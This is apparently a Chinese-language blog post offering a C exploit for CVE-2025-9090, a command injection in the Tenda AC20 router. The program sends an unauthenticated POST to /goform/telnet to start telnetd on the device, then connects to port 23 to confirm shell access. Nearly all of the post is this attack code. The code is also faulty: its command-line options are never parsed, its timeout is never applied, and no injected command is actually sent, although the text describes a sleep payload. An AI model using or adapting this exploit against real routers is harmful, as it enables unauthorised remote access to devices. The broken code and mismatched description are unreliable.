Tenda AC20命令注入漏洞分析与利用

本文详细分析了Tenda AC20路由器16.03.08.12版本中的命令注入漏洞(CVE-2025-9090),提供了完整的远程利用代码和技术实现细节,涉及telnet服务的安全风险。

Tenda AC20 16.03.08.12 - 命令注入 - 多重远程利用

漏洞信息

  • 漏洞标题: Tenda AC20 16.03.08.12 - 命令注入
  • 作者: Byte Reaper
  • CVE: CVE-2025-9090
  • 描述: 在Tenda AC20 16.03.08.12版本中发现漏洞。受影响的是Telnet服务组件中/goform/telnet文件的websFormDefine函数。
  • 目标端点: /goform/telnet
  • 服务位置: http://<IP>
  • 完整目标URL: http://<IP>/goform/telnet

利用方案

  1. 构建完整URL
  2. 准备POST数据(Sleep + 完整URL + libcurl函数)
  3. 通过CURL发送POST请求
  4. 测量响应:HTTP代码、telnet访问(23)、错误词(not found)
  5. 确定成功并完成利用

技术实现

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
#include <stdio.h>
#include "argparse.h"
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>
#include <arpa/inet.h>
#include <time.h>
#include <stdint.h>
#include <unistd.h> 
#include <sys/wait.h>
#include <sys/socket.h>
#include <errno.h>

#define MAX_RESPONSE (50 * 1024 * 1024)
#define URL 2400
#define BUFFER 4500

const char *ipT = NULL;
const char *cookies = NULL;
int loopF = 0;
int verbose = 0;
int fileCookies = 0;

// 内存结构体用于存储响应数据
struct Mem {
    char *buffer;
    size_t len;
};

// 写入回调函数
size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) {
    if (!userdata) {
        return 0;
    }
    
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    
    // 内存分配和数据复制逻辑
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL) {
        fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n");
        exit(1);
    }
    
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}

// Telnet连接检查函数
int connectionTelnet(const char *ip) {
    int ports[] = {23, 2323};
    int num_ports = sizeof(ports) / sizeof(ports[0]);
    
    for (int i = 0; i < num_ports; i++) {
        printf("\e[0;36m[+] target PORT Connection telnet : %d\e[0m\n", ports[i]);
        
        int s;
        struct sockaddr_in server;
        s = socket(AF_INET, SOCK_STREAM, 0);
        
        if (s < 0) {
            perror("\e[0;31m[-] Error Create Socket !\e[0m\n");
            return -1;
        }
        
        server.sin_addr.s_addr = inet_addr(ip);
        server.sin_family = AF_INET;
        server.sin_port = htons(ports[i]);
        
        // 设置socket超时
        struct timeval timeout;
        timeout.tv_sec = 2;
        timeout.tv_usec = 0;
        
        if (connect(s, (struct sockaddr *)&server, sizeof(server)) < 0) {
            perror("\e[0;31m[-] Connect failed in Target Ip.\e[0m\n");
            close(s);
            continue;
        }
        
        printf("[+] Connection Success in server.\e[0m\n");
        
        // 接收telnet banner
        char banner[256];
        int n = recv(s, banner, sizeof(banner)-1, 0);
        if (n > 0) {
            banner[n] = '\0';
            printf("\e[0;36m[+] Telnet Banner: %s\e[0m\n", banner);
        }
        
        close(s);
        return ports[i];
    }
    return -1;
}

// 主要漏洞利用函数
void endPoint(const char *ip) {
    CURL *curl = curl_easy_init();
    struct Mem response;
    response.buffer = NULL;
    response.len = 0;
    
    if (!curl) {
        printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n");
        exit(1);
    }
    
    // 构建目标URL
    char full[URL];
    snprintf(full, URL, "http://%s/goform/telnet", ip);
    
    curl_easy_setopt(curl, CURLOPT_URL, full);
    curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response);
    curl_easy_setopt(curl, CURLOPT_POST, 1L);
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, "");
    curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, 0L);
    
    CURLcode code = curl_easy_perform(curl);
    
    if (code == CURLE_OK) {
        printf("\e[0;36m[+] Request sent successfully.\e[0m\n");
        
        long http_code = 0;
        curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code);
        
        if (http_code >= 200 && http_code < 300) {
            printf("\e[0;36m[+] Http code in Range (200 - 300).\e[0m\n");
            
            // 检查成功注入的标志
            if (response.buffer && strstr(response.buffer, "load telnetd success") != NULL) {
                printf("\e[0;37m[+] Word found in response : \"load telnetd success\"\e[0m\n");
                printf("\e[0;36m[+] Injected successfully.\e[0m\n");
            }
            
            // 尝试telnet连接
            printf("\e[0;33m[+] Try telnet Connection (Socket) (23)...\e[0m\n");
            int value = connectionTelnet(ip);
            
            if (value != -1) {
                printf("\e[0;36m[+] Success Connection PORT : %d\e[0m\n", value);
                printf("\e[0;36m[+] The server has a vulnerability Os injection (CVE-2025-9090)\e[0m\n");
            }
        }
    }
    
    // 清理资源
    if (response.buffer) free(response.buffer);
    curl_easy_cleanup(curl);
}

int main(int argc, const char **argv) {
    // 显示banner信息
    printf("\e[1;31m");
    printf("	 ▄████▄ ██▒   █▓▓█████     \n");
    printf("	▒██▀ ▀█▓██░   █▒▓█   ▀     \n");
    printf("	▒▓█    ▄▓██  █▒░▒███       \n");
    printf("	▒▓▓▄ ▄██▒▒██ █░░▒▓█  ▄     \n");
    printf("	▒ ▓███▀ ░ ▒▀█░  ░▒████▒   \e[1;32m2025-9090\n");
    printf("\t  \e[1;31m [ Byte Reaper ] \e[0m\n");
    
    // 命令行参数解析
    struct argparse_option options[] = {
        OPT_HELP(),
        OPT_STRING('i', "ip", &ipT, "Enter Target IP"),
        OPT_STRING('c', "cookies", &cookies, "Enter File cookies"),
        OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"),
        OPT_INTEGER('f', "loop", &loopF, "Number request (-f 4  = 4 request)"),
        OPT_END(),
    };
    
    if (ipT == NULL) {
        printf("\e[1;31m[-] Please Enter target Ip !\e[0m\n");
        printf("\e[1;31m[-] Example : ./CVE-2025-9090 -i <IP> \e[0m\n");
        exit(1);
    }
    
    endPoint(ipT);
    return 0;
}

漏洞影响

该漏洞允许攻击者通过特制的HTTP请求在目标设备上执行任意命令,主要影响Tenda AC20路由器的telnet服务组件。利用成功后,攻击者可以获取设备的远程shell访问权限。

技术要点

  • 漏洞类型:命令注入
  • 攻击向量:HTTP POST请求
  • 影响组件:Telnet服务
  • 利用难度:中等
  • 认证要求:无需认证
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计